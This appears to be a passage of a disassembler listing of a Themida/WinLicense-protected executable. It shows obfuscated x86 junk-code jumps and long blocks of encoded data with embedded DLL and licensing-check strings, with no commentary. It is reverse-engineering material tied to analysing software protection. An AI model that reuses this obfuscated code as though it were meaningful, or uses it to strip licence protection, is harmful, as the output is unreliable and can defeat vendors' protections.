loc_55C55F ; --------------------------------------------------------------------------- dd 83BF575Ah, 0E95DEA7Eh, 0FFFEF513h, 15FF889h, 24148BD0h dd 81E68956h, 4C6h, 4C68100h, 87000000h, 99E92434h db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564E13: ; CODE XREF: Themida_:005548F3j add eax, 7D0837E6h jmp loc_55DD82 ; --------------------------------------------------------------------------- db 1, 0C5h, 8Bh dd 0C4832404h, 7EE95304h, 0F7FFFEE1h, 7E1C1D9h, 86CC981h dd 0C13126BFh, 0C131C831h, 8191D0F7h, 70CF0E9h, 59C82956h dd 4C0835Ah, 0FFE0CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_564E51: ; CODE XREF: Themida_:0055C15Cj sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push ebx push edi mov edi, 2966FDh sub esp, 4 mov [esp], ecx mov ecx, 318B306Eh neg ecx shr ecx, 7 neg ecx jmp loc_55F55C ; --------------------------------------------------------------------------- loc_564E79: ; CODE XREF: Themida_:0055B1A1j push ecx mov ecx, 48A16FFh inc ecx inc ecx and ecx, 354B1151h not ecx push ebp mov ebp, 1B245441h or ebp, 65D46C7Ch xor ebp, 30E06858h sub ebp, 4A233016h sub ebp, 0E2A090FAh xor ecx, ebp pop ebp add esi, ecx mov ecx, [esp] add esp, 4 add edx, 147A0BC1h add edx, 5421548h add edx, esi sub edx, 5421548h sub edx, 147A0BC1h mov esi, [esp] add esp, 4 add edx, esi sub edx, 13B31488h push dword ptr [esp] jmp loc_552E15 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 599168h, 24348900h, 4BEh, 5EF32900h, 5C241C87h, 68241C89h dd 3550h, 83242489h, 0FF042404h, 0E95B2434h, 0FFFFB672h ; --------------------------------------------------------------------------- loc_564F14: ; CODE XREF: Themida_:0055038Cj add dword ptr [esp+4], 56B839ADh pop ecx push dword ptr [esp] pop eax add esp, 4 push ebp push esp mov ebp, [esp] jmp loc_550402 ; --------------------------------------------------------------------------- loc_564F31: ; CODE XREF: Themida_:0055B9D7j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_557E16 ; --------------------------------------------------------------------------- db 31h dd 62E92414h, 81FFFEEBh, 3F5673EAh, 5AD7016Dh, 75A1BA52h dd 424A3813h, 0D88C281h, 22E90B46h db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564F63: ; CODE XREF: Themida_:005619DEj push esi mov esi, edi sub esp, 4 mov [esp], ecx jmp loc_55CF5A ; --------------------------------------------------------------------------- dd 81243C89h, 4ECh, 240C8900h, 0C1730B9h, 0B5B9514Eh, 4155A204h dd 0FF93BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_564F91: ; CODE XREF: Themida_:005573DCj mov esp, [esp] push 4C54h mov [esp], esi push esp pop esi add esi, 4 push ebp jmp loc_554668 ; --------------------------------------------------------------------------- dw 0C701h dd 0FED39FE9h, 5DEB31FFh, 0FEECA9E9h, 0C2895BFFh, 582434FFh dd 5104C483h, 0A10CF1B9h, 0E9CE0153h, 0FFFEC3CAh, 8B5AD301h dd 0EC83240Ch, 17A6E904h, 815EFFFFh, 4C6h, 4C68100h, 87000000h dd 248B2434h, 55B85024h, 0D5F184Ah, 0C556E0Ch, 0AE50F135h dd 58C30151h, 0B850C329h, 0EF33EACh, 0FF58C329h, 6AE92434h dd 8BFFFF4Ch, 0C4812434h, 4, 0FF77EAE9h, 4B850FFh, 89000000h dd 24048BC1h, 4C481h, 0E1E90000h db 0C5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56503B: ; CODE XREF: Themida_:0055952Cj sub ebp, 8C28C0A7h mov ecx, ebp jmp loc_563D79 ; --------------------------------------------------------------------------- dd 8FDC381h, 0C38164CCh, 0C3639AECh, 0ECE9D931h, 81FFFFEAh dd 3A15DBC6h, 0A1C68148h, 0C15D5E39h, 45E903EEh db 0D6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56506F: ; CODE XREF: Themida_:00556674j mov ebp, 117F5410h sub esi, ebp pop ebp pop edx push ebx push ebp push eax mov eax, 493E34E9h jmp loc_55AF72 ; --------------------------------------------------------------------------- loc_565085: ; CODE XREF: Themida_:00552F5Aj pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_556C3C ; --------------------------------------------------------------------------- dd 6B95B850h, 91B9020Eh, 0E9020E6Bh, 0FFFFB261h, 0E95AD088h dd 0FFFF51D8h ; --------------------------------------------------------------------------- loc_5650AC: ; CODE XREF: Themida_:00555E23j push eax push ebp mov ebp, 46F83D29h jmp loc_565658 ; --------------------------------------------------------------------------- dd 0D241DBBAh, 0C1E2D14Fh, 0F28105EAh, 4FD2419h, 3EE5C381h dd 0D30139E5h, 3EE5EB81h, 875A39E5h, 248B241Ch, 24043124h dd 0AFB1E99Ch, 158FFFEh, 9CE955C6h, 1FFFECEh, 0FB315BDFh dd 0E9243C8Bh, 0FFFF7774h ; --------------------------------------------------------------------------- loc_5650FC: ; CODE XREF: Themida_:00560778j pop dword ptr [esp] push edi jmp loc_5570CA ; --------------------------------------------------------------------------- loc_565105: ; CODE XREF: Themida_:0055A0D5j push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] and eax, ebx push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax jmp loc_554E3A ; --------------------------------------------------------------------------- dd 8904EC83h, 0E189240Ch, 3957E953h, 0BF57FFFFh, 2F52036Fh dd 0E9DFF74Fh, 0FFFFF225h, 0E9242C89h, 0FFFFF10Bh, 33241431h dd 248B2414h, 24040924h, 0AF29E99Ch, 0C159FFFEh, 895606E3h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 0FF5EFEE9h, 5FC581FFh dd 0E976287Ch, 0FFFF94D0h, 5E08950h, 4, 0FFF438E9h db 0FFh byte_5651A1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FFF4o dd 29FD6824h, 14890000h, 148B5424h, 4C48324h, 0FF4B3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5651B9: ; CODE XREF: Themida_:00555F02j mov [esp], ebx jmp loc_55E9D1 ; --------------------------------------------------------------------------- db 1, 0D8h, 0E9h dd 0FFFF2B38h, 7A51C181h, 815A2BF2h, 4C1h, 337DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5651DA: ; CODE XREF: Themida_:0055D201j push 7AF6h jmp loc_556146 ; --------------------------------------------------------------------------- loc_5651E4: ; CODE XREF: Themida_:00562CD2j xor [esp], edx xor edx, [esp] pop esp dec dword ptr [esp] pushf jmp loc_550097 ; --------------------------------------------------------------------------- dd 2E2DD829h, 81048526h, 4ECh, 241C8900h, 0D65EA8BBh, 4EC8132h dd 89000000h, 12E9241Ch db 0B6h, 0FEh, 0FFh byte_565217 db 66h ; DATA XREF: Themida_:0054FE28o dd 0E924048Bh, 0FFFEFDC1h, 3FE95352h db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565227: ; CODE XREF: Themida_:00554676j shr ebp, 6 sub esp, 4 mov [esp], esi jmp loc_563F03 ; --------------------------------------------------------------------------- dd 6C6A2D5Ah, 0F029335Eh, 5E6C6A05h, 9690533h, 13686CF5h dd 89000054h, 4EBE2434h, 0E9360053h, 0FFFF3FF0h ; --------------------------------------------------------------------------- loc_56525C: ; CODE XREF: Themida_:005602ACj add ebx, 4 jmp loc_55E4C8 ; --------------------------------------------------------------------------- loc_565267: ; CODE XREF: Themida_:00553A42j mov ebx, 336F6404h shl ebx, 7 shr ebx, 8 xor ebx, 0B7B206h sub edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ebp push 1 pop ebp and eax, ebp mov ebp, [esp] jmp loc_55DFB7 ; --------------------------------------------------------------------------- dw 248Bh dd 55F9F724h, 2434FF54h, 4C4835Dh, 0FF9986E9h, 2DD0F7FFh dd 45A2288Ah, 0FFA948E9h, 0B5BF57FFh, 0BA717F49h, 72C0A183h dd 71E9FA29h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5652CB: ; CODE XREF: Themida_:0056231Dj mov eax, esi pop esi add esi, 67470F20h add esi, 0BFF7C39h sub esi, eax jmp loc_5573F6 ; --------------------------------------------------------------------------- db 0B8h, 44h, 6Fh dd 0C689149Bh, 8124048Bh, 4C4h, 9B71E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5652F6: ; CODE XREF: Themida_:00550963j add esp, 4 add eax, edi sub eax, 40A87596h jmp loc_5519C3 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 34F3E951h, 8852FFFFh, 0FFD488EAh, 84E92434h, 68FFFF93h dd 4, 8124348Bh, 4C4h, 96E98100h, 1549417h, 96C181F1h dd 8B549417h, 92E92434h, 57FFFF53h, 3978BE56h, 0F7892659h dd 53EF815Eh, 81296D3Ch, 18E0F7EFh, 0E9FA29CCh, 0FFFEDD61h dd 84B95156h, 8131DA79h, 99158FE9h, 59CE890Ah, 0FFA19CE9h dd 4EC83FFh, 0FED60DE9h, 67C5BDFFh, 0FCE9096Dh, 81FFFF62h dd 0C1791DF2h, 0C1F28131h, 89B198EAh, 0D8895AD3h, 23D1355Bh dd 0C6014A3Eh, 4C68158h, 87000000h, 0FF5C2434h, 34FF2434h dd 0C4835824h, 0E3895304h, 4685552h, 0E90EF560h, 0FFFF169Bh dd 0E92434FFh, 0FFFFAF58h ; --------------------------------------------------------------------------- loc_5653C8: ; CODE XREF: Themida_:00557794j sub ebp, ecx pop ecx sub edx, ebp pop ebp push edi mov edi, 1BE715E4h and edi, 69176EFCh shr edi, 8 shl edi, 2 sub edi, 0A9F4BBAAh jmp loc_553910 ; --------------------------------------------------------------------------- db 29h dd 0D4EB81F3h, 0E93FE525h, 0FFFFE490h ; --------------------------------------------------------------------------- loc_5653F8: ; CODE XREF: Themida_:0055214Aj mov [esp], ebp push eax push 2B6942E3h pop eax add eax, 0D496BD21h mov ebp, eax pop eax jmp loc_562B87 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4EC8300h, 83240C89h, 1C8904ECh, 32C6BB24h, 0E9516722h dd 0FFFF4097h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55DE09 ; --------------------------------------------------------------------------- byte_565437 db 8Bh ; DATA XREF: Themida_:0054FE94o dd 5356240Ch, 39E9E389h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565443: ; CODE XREF: Themida_:0055BADEj push eax mov eax, 4 add ebx, 63955E92h add ebx, 0F383B2Eh add ebx, eax sub ebx, 0F383B2Eh sub ebx, 63955E92h pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push 21D1h jmp loc_553758 ; --------------------------------------------------------------------------- loc_565478: ; CODE XREF: Themida_:0055A658j mov [esp], eax jmp loc_56344F ; --------------------------------------------------------------------------- loc_565480: ; CODE XREF: Themida_:00555A53j sub ecx, 629DA49Bh sub eax, ecx pop ecx jmp loc_550097 ; --------------------------------------------------------------------------- loc_56548E: ; CODE XREF: Themida_:00562F17j push ebp mov ebp, 72806045h mov ecx, ebp pop ebp push ebx mov ebx, 3DFB0888h add ecx, ebx pop ebx push eax push 4F81h mov [esp], ebp mov ebp, 3D29358Eh jmp loc_5507E5 ; --------------------------------------------------------------------------- db 30h dd 0CB305AF3h, 8BF32859h, 0C4812414h, 4, 0FE02E3C0h, 0B25251C3h dd 309DB1B8h, 24148BD1h, 4C481h, 0CB300000h, 81240C8Bh dd 4C4h, 0BAEB8000h, 0FEEB7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5654ED: ; CODE XREF: Themida_:00556BD1j sub ecx, 4 xchg ecx, [esp] jmp loc_553E26 ; --------------------------------------------------------------------------- dd 0E958C189h, 0FFFFEF61h ; --------------------------------------------------------------------------- loc_565500: ; CODE XREF: Themida_:0056558Bj push eax mov eax, esp add eax, 4 jmp loc_55CFC5 ; --------------------------------------------------------------------------- db 4, 9Ch, 2Ch dd 3412E965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565516: ; CODE XREF: Themida_:005646F4j pop eax sub ecx, ebp pop ebp add edx, ecx mov ecx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_555B73 ; --------------------------------------------------------------------------- db 1 dd 0BF9DE9F3h, 0EEC1FFFFh, 1EE8307h, 0F681EED1h, 1B204580h dd 40BEE81h, 0F001C9DFh, 0FEADF2E9h, 0A6E95AFFh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56555B: ; CODE XREF: Themida_:0055EEF5j pop esp dec ebp not ebp xor ebp, 3AF3699Dh push esi mov esi, esp add esi, 4 push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp] pop esp mov [esp], esi mov esi, 93F3E805h xor ebp, esi mov esi, [esp] add esp, 4 jmp loc_565500 ; --------------------------------------------------------------------------- dd 5002E3C1h, 0FED5A3E9h, 51535AFFh, 0FFC96EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5655A1: ; CODE XREF: Themida_:00560DDBj pop eax xor eax, ebx pop ebx xor eax, 6FDE281Ch push edi mov edi, 35AE4BADh neg edi xor edi, 44232554h add eax, edi pop edi jmp loc_5649DC ; --------------------------------------------------------------------------- loc_5655C0: ; CODE XREF: Themida_:0055FB92j mov ebx, esp add ebx, 4 jmp loc_55F6BB ; --------------------------------------------------------------------------- loc_5655CD: ; CODE XREF: Themida_:0055149Dj push esi mov esi, 498256FEh not esi sub esi, 0A0FF35AEh or ecx, esi jmp loc_56468B ; --------------------------------------------------------------------------- dw 5866h dd 0C828DC2Ch, 80F0B151h, 48E953F1h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5655F3: ; CODE XREF: Themida_:00552B98j mov [esp], edi push edx push 19132CB8h pop edx sub edx, 19132CB4h mov edi, edx mov edx, [esp] add esp, 4 sub edx, 4A60377Ah add edx, edi add edx, 4A60377Ah pop edi sub esp, 4 mov [esp], ecx push 41542B96h jmp loc_5646D7 ; --------------------------------------------------------------------------- loc_56562D: ; CODE XREF: Themida_:00560FEEj pop edi add edx, eax pop eax push edx pop eax pop edx sub edi, eax push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp push esi mov esi, 327730B6h shr esi, 1 dec esi not esi inc esi inc esi push ebp jmp loc_556044 ; --------------------------------------------------------------------------- loc_565658: ; CODE XREF: Themida_:005650B3j push eax jmp loc_551AC3 ; --------------------------------------------------------------------------- loc_56565E: ; CODE XREF: Themida_:0055BA31j and eax, ebp pop ebp shr eax, 0Ch xor eax, ecx jmp loc_558583 ; --------------------------------------------------------------------------- db 83h dd 0B850FFEEh, 7EE33A42h, 0A3259505h, 0D4E94092h, 0D1FFFF2Dh dd 3D62E9E2h, 0BE2CFFFFh, 0DCDAE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56568E: ; CODE XREF: Themida_:005513E4j xchg ecx, [esp] pop esp not ecx push esi jmp loc_559875 ; --------------------------------------------------------------------------- dw 6E8h dd 57000000h, 0A36491CAh, 0C9B70F69h, 0CB8B665Fh, 617BC781h dd 18B30000h, 8BF9F633h, 93B33714h, 0D81BC281h, 0EE80C9Bh dd 83000000h, 0C0B7EA3h, 2F6391A3h, 634CD21Dh, 0B190B838h dd 815B30ADh, 0FEFC56C2h, 81DE8B5Bh, 1F982EAh, 0B70F6045h dd 0D0BF66F3h, 14896180h, 8138B137h, 0AF330AF1h, 0B1EE812Ah dd 8B0C6E86h, 0ADC681D8h, 0FC0C6E86h, 9F24FE81h, 850FFFFFh dd 16h, 25E9h, 0CDB06D00h, 0AA270F81h, 0A0417F9Eh, 0B28392BBh dd 0B70F39AEh, 0FF81E9C6h, 9B40FFFFh, 0DE0E43A6h, 0B88C6892h dd 36EB1C77h, 52455355h, 642E3233h, 41006C6Ch, 50415644h dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch dd 40008h, 2001Eh, 140018h, 4A4502AFh, 52E94884h, 68000008h dd 6099BEEh, 0FDE154E9h, 9C7A68FFh, 4AE90609h, 68FFFDE1h dd 6099D9Dh, 0FDE140E9h, 9ECC68FFh, 36E90609h, 68FFFDE1h dd 6099F34h, 0FDE12CE9h, 0A02368FFh, 22E90609h, 68FFFDE1h dd 609A09Eh, 0FDE118E9h, 0F29A47FFh, 0F88648A6h, 0FF854EACh dd 3A955B3h, 0E9259B7h, 76B7D8C2h, 77D521AFh, 7BD925AFh dd 85E32FB5h, 77EA36C2h, 0FC0E2DFCh, 704FF005h, 0DDF5808Ch dd 3D0C87E1h, 0FC137D1Fh, 0AC7B3080h, 0C9E191ACh, 138EDAE4h dd 0F08E3A98h, 1F1EED3Dh, 4029D16Eh, 0F0BF3AF0h, 23CE9898h dd 0FBEA9DEDh, 5B2AA5C3h, 25C980A1h, 0E543BE0Eh, 0BD1B9622h dd 67B369F7h, 5BBA4609h, 0D4FA27BDh, 0D0489E51h, 0C9000006h dd 0D634801Ch, 0DC3A8614h, 0DF3D8913h, 0DF3D8933h, 56408C18h dd 0A72DF435h, 0AF35FD5Bh, 0B13F0563h, 0B8440765h, 0AF7EF96Ch dd 0F005FC8Ch, 0DB0EF2D1h, 5ED98C18h, 0FCAF3D00h, 0B707F6ACh dd 0CF6736B1h, 24FC1602h, 1BDE59D4h, 9C480594h, 6C932FF2h dd 0C04CB275h, 6E50AC3Fh, 0E3945AB8h, 5082114h, 9EEE3EF0h dd 72FEC523h, 10C35114h, 43BE0AC0h, 9281C580h, 0F4AAB414h dd 8F42D096h, 83E26E31h, 0AECDB59Fh, 44BE14C7h, 55000006h dd 5AB804A8h, 60BE0A98h, 63C10D97h, 6BC915B7h, 0EAD420A4h dd 3BC990C9h, 43C991EFh, 4DD399F7h, 54E0A301h, 4B1A9508h dd 0F005FBE8h, 0DBB29675h, 7BD98C18h, 0A2792CB8h, 965827FFh dd 0DE93C32Ah, 0B83C0563h, 0C6F4AE9h, 3FCD8FF6h, 12623C8Ch dd 65D95Ch, 0DBF50000h, 5C408C18h, 0C67C76Ah, 0BB490CF6h dd 951BE240h, 36D884E2h, 2DE33383h, 9CCCF2E1h, 63FBC321h dd 0F5F129Ah, 0BF8E09BFh, 0FC13D631h, 51FBA705h, 0BE984E9Eh dd 1A78F36Eh, 6AF2BB57h, 611767B7h, 3CB73D03h, 0DA9016DEh dd 696A308Eh, 930665F3h, 5407574Dh, 0DEDB16D9h, 0D02D0A7Ch dd 589C41Ah, 0DBE00000h, 0EAD98C18h, 0BB1994D4h, 3BB66CF8h dd 1399BC6Ch, 1EED68FCh, 0F00B561Fh, 603AF040h, 0EB49C410h dd 43C99224h, 3AF04090h, 3F8B19DCh, 7FFA6E50h, 55E3A604h dd 337BD09Fh, 0FDC0FA11h, 73429F27h, 0F602FEC0h, 0C98A4D9Dh dd 0E38FED76h, 106EE939h, 1270BC4Ah, 0B513C64Ch, 250766F2h dd 41B4C8BAh, 521388Eh, 0CB780000h, 0B577D521h, 0B47DDB27h dd 0DA86E430h, 0C38AE834h, 0E607F13Dh, 652DEA5h, 0A56E0A8h dd 1460E6ACh, 1965F3B6h, 0D95C2BA6h, 86F005FAh, 0FBBEC3A7h dd 0B1091536h, 43A157E2h, 0E341F480h, 10452120h, 0D15F1948h dd 54F7CE81h, 28A57EFAh, 0F898F60Ch, 93C36F37h, 0FFFEDF77h dd 18DB93FFh, 0D4EAD98Ch, 0CF9E1994h, 0F60C676Ch, 70EBA1F1h dd 1398F3A1h, 652D8BFCh, 22CE2CDFh, 2979C97Ch, 0C77D1FCBh dd 62519DEDh, 16910C5Ch, 0AC620CB8h, 14AA03DDh, 2AF974FAh dd 0F60C650Bh, 1B40454h, 0C650E32h, 0ED45E8F6h, 0C32CDC9Eh dd 18A1C93h, 0DEA10000h, 0BADF8A94h, 0A68A4082h, 0E1DDF580h dd 1F3D0C87h, 80FC137Dh, 0ACAC7B30h, 0E4C9E191h, 0B7D480DAh dd 0A899FDFEh, 80DE2ED3h, 2D7D30BEh, 410462DDh, 0B382FDB3h dd 23CE7355h, 54E0A301h, 0F3A634F6h, 0C313EDA3h, 6E379510h dd 7D4130E6h, 0EBA170EBh, 0A325C96Bh, 93F17F45h, 409043D1h dd 0E560B08Ah, 1D20EF6Ah, 4229D194h, 1BDE3CF2h, 20E3418Dh dd 4C013594h, 5205D4F9h, 3F2FCh, 52FAA700h, 58E6A806h dd 5FE5AE0Ch, 6309B513h, 6EF2B917h, 0D6173822h, 0D735810Fh dd 0DB39850Fh, 0E5438F15h, 0D74A9622h, 0F9AE8D5Ch, 0D0AFF005h dd 0F4744AECh, 288AA79h, 73D1FC16h, 5AD525C7h, 0A69564DFh dd 16F005FCh, 5FCF447h, 3F1969F0h, 15DB39EFh, 1FE5438Fh dd 0BD80DE91h, 0A470D02Fh, 7326AECDh, 38A1Dh, 0BA620F00h dd 0C04E106Eh, 0C74D1674h, 0CB711D7Bh, 0D65A217Fh, 3E7FA08Ah dd 3F9DE977h, 43A1ED77h, 4DABF77Dh, 3FB2FE8Ah, 0F846F5C4h dd 3817F005h, 7E18DB54h, 267629B7h, 2C523D6h, 49ECC376h dd 69DA73F1h, 19B9F60Ch, 93C33058h, 859642A0h, 5AFF7E34h dd 9D50A078h, 4514974Dh, 99FFFFFDh, 0D1EC4F1Eh, 8388F60Ch dd 31BCD4D6h, 6E24744Eh, 9960BE8Ah, 5208580Bh, 0F0A331F4h dd 0C8541775h, 0BB67C515h, 580E5E11h, 98135569h, 137547C9h dd 0E5B42FFCh, 0F00B6A56h, 2701B707h, 0C87B01C9h, 0F8DC2878h dd 0EE4CF080h, 0F5E49A28h, 55249FC9h, 0FC137D07h, 18934898h dd 0CB758855h, 2FE5BD23h, 24203760h, 31378798h, 1981E7B6h dd 0A6F65203h, 0AEBA04F3h, 1A86433h, 0B5055404h, 8B19DC3Ah dd 921EE13Fh, 0C6A61733h, 0E63CEF06h, 29Bh, 5FAB51FEh dd 65B13F01h, 6AB63E07h, 72BE600Ch, 7BC74D14h, 70377091h dd 723A98E4h, 7C42A0ECh, 894CAAF6h, 0C13CAFFBh, 5C743F2h dd 593D1CF0h, 79F4744Ah, 71573BFEh, 3C043BA6h, 0EC3CCAEBh dd 0A85EAE20h, 165CA3D9h, 41BC0CFCh, 1C971DE3h, 94FCF5BEh dd 541FE39Eh, 26CE91E1h, 6856717Ch, 4CAAF6ACh, 27850086h dd 6C1FD55Fh, 5EBD4B0Eh, 0AECDE9F6h, 208BE194h, 79000002h dd 86E430CCh, 8CEA36C4h, 8FED39C3h, 8FED39E3h, 6F03CC8h dd 57DDA4E5h, 5FE5AD0Bh, 61EFB513h, 68F4B715h, 5F2EA91Ch dd 0F005C7DCh, 4ABEA281h, 0AA79F474h, 0FC160372h, 2DBB7DDBh dd 0E9672A7Ah, 6F922C1Eh, 4FAD2878h, 7F5B8B86h, 1EB4D82Ah dd 3F9D18CEh, 9220E27Ch, 0F33F8FDFh, 38B3D304h, 3F955475h dd 0AB61A5A7h, 8A2C6130h, 3585F005h, 0D75D2482h, 5B228024h dd 21711BC7h, 33FC5AD5h, 0F0A6F6A9h, 0DBA2D601h, 0BB8A0555h dd 0F0058A80h, 0A026EE4Ch, 0DE79DEDh, 0CC8F0ABDh, 41563D29h dd 0DEA705FFh, 9D53A356h, 1CE27C3Fh, 4393E396h, 0CB8EEC90h dd 0D093F13Dh, 0F04EC944h, 6FCE9D27h, 0F0F005DFh, 0F646CC92h dd 0DF89AC7Bh, 86D6F005h, 9D641DD0h, 0D7E23CDFh, 2CB27A14h dd 0B71590DCh, 53B167F5h, 0B97BD990h, 5928782Bh, 0F005DFDAh dd 0FA390883h, 63F005DFh, 0A265C313h, 0B513C616h, 6CE762EEh dd 5DF9E9Dh, 7544BFF0h, 0F005DFC6h, 41F74797h, 1129CC8Eh dd 277301C4h, 37E02C9h, 0B3256440h, 0D2887782h, 0E19F661Fh dd 12D9E43Eh, 0C8A5B51Bh, 23730DB7h, 2EB279D7h, 0C9571D7Bh dd 65EFB816h, 0F69254B2h, 0A154A44Ah, 0E5E23CDFh, 4994AE51h dd 54B2FE82h, 0A12FF591h, 0AACF9E51h, 75A876E5h, 0AA6D78D2h dd 2A1124F3h, 0FE4E4876h, 410462AEh, 17DA38B3h, 0C220D389h dd 4AC275FBh, 0AA258FA7h, 762A58DBh, 0FFB50548h, 0D752DEA1h dd 2AAE8D5Ch, 5FAF4876h, 3CFF5DA9h, 0B00EFDB0h, 1CDF3DB8h dd 128DDD90h, 762AF043h, 671D6D48h, 2EAE71ECh, 0B9D7594Fh dd 9418E79Dh, 0E942698Ah, 605E4D99h, 96BE8D08h, 0F7446BE1h dd 0D396F4A7h, 0D89BF945h, 4BCA994Ch, 36FAEE28h, 6B2EBB93h dd 703391DDh, 0CF8210D6h, 6E21AF71h, 0B30BCE1Eh, 325AE262h dd 920DC010h, 2BE16B34h, 0C87B21CDh, 691CA26Ah, 0CBF450Bh dd 9A59F194h, 0FECB6306h, 361AD3Bh, 0AB01B440h, 3, 0DB694DC7h dd 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h, 55B366F0h, 0F14F028Eh dd 95F3A62Ah, 329043E9h, 0D230E369h, 7ECF8210h, 81E18951h dd 4C1h, 4E98300h, 8B240C87h, 89562424h, 4C681E6h, 83000000h dd 348704EEh, 1C895C24h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 50240C89h, 99B6CB8h, 585B5006h, 240C8B54h dd 4C481h, 55530000h, 9527DBDh, 246C2965h, 418F5D04h, 8418108h dd 6509527Dh, 56240C8Bh, 0C681E689h, 4, 4C681h, 34870000h dd 34FF5C24h, 0C4815B24h, 4, 0FDD918E9h, 3E3D4FFFh, 0F630B205h dd 0CEB098BBh, 0A2E3B89Bh, 0C5030609h, 0FC62E0FFh, 0A6B974E6h dd 7C32C05h, 9A382B12h, 0E3022A28h, 956A2C00h, 44735F0Eh dd 0B2002E26h, 71E92599h, 60000000h, 1495BD83h, 0F000607h dd 584h, 5CE900h, 6A0000h, 0F303E80h, 885h, 46006A00h dd 35E9h, 333E8000h, 8850Fh, 106A0000h, 24E946h, 3E800000h dd 8850F34h, 6A000000h, 13E94630h, 80000000h, 850F353Eh dd 8, 0E946406Ah, 2, 858D006Ah, 607277Dh, 96905090h, 6A9650h dd 120195FFh, 0C3610607h, 152585C6h, 684D0607h, 396C720Fh dd 99240481h, 0FF6AC904h, 73199B5h, 8D858D06h, 0FF060738h dd 18589D0h, 0E8060712h, 11h, 4FBD1CFEh, 1D11B79Bh, 33FBD894h dd 3BE15A6Ah, 0F2B70FFCh, 5840F58h, 66000000h, 6692EE81h dd 6F4DC081h, 12E80000h, 81000000h, 28EBD95Fh, 64BF174h dd 5CB57CB1h, 0E3E7E8CAh, 199589DBh, 5B060704h, 0F869DBBFh dd 0BFC78123h, 8BDC07B1h, 4ECD8010h, 0F5D7EA81h, 0DEBB12EAh dd 8177A4DEh, 0EC49AC2h, 11E923h, 0FCA10000h, 7344B574h dd 0EBF52D3Ah, 0A5486D64h, 8118725Ah, 0B923E4C2h, 68B0F37h dd 89000000h, 71FA195h, 0CB8B5206h, 8166008Fh, 81498CF1h dd 0FA1A31E8h, 518D8966h, 8106072Eh, 0FA1A2DC0h, 45B58B66h dd 81060716h, 1EFh, 18850F00h, 0F000000h, 68Eh, 0C5958900h dd 0E9060726h, 1Dh, 3959DFA3h, 0B591E91Fh, 0FF75E999h dd 0FA11FFFFh, 8D6D5379h, 3EF9ACC3h, 93F6D829h, 0AAE999h dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h dd 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CB858900h, 8D0609A5h dd 9A5C785h, 858D5006h, 609A531h, 16850h, 95FF8000h, 609A5D7h dd 0B5FF196Ah, 609A5CBh, 6A016Ah, 0A560858Dh, 0FF500609h dd 9A5C7B5h, 0E995FF06h, 0FF06072Eh, 9A5C7B5h, 0D395FF06h dd 0FF0609A5h, 9A5C7B5h, 0C995FF06h, 0C3060723h, 0A5CB8589h dd 858D0609h, 609A5C7h, 31858D50h, 500609A5h, 168h, 0D795FF80h dd 6A0609A5h, 0CB858D04h, 500609A5h, 6A046Ah, 0A58A858Dh dd 0FF500609h, 9A5C7B5h, 0E995FF06h, 0FF06072Eh, 9A5C7B5h dd 0D395FF06h, 0FF0609A5h, 9A5C7B5h, 0C995FF06h, 0C3060723h dd 0A5CB8589h, 858D0609h, 609A5C7h, 31858D50h, 500609A5h dd 168h, 0D795FF80h, 6A0609A5h, 0CB858D04h, 500609A5h dd 6A046Ah, 0A572858Dh, 0FF500609h, 9A5C7B5h, 0E995FF06h dd 0FF06072Eh, 9A5C7B5h, 0D395FF06h, 0FF0609A5h, 9A5C7B5h dd 0C995FF06h, 0C3060723h, 0A5CB8589h, 858D0609h, 609A5C7h dd 31858D50h, 500609A5h, 168h, 0D795FF80h, 6A0609A5h, 0CB858D04h dd 500609A5h, 6A046Ah, 0A59D858Dh, 0FF500609h, 9A5C7B5h dd 0E995FF06h, 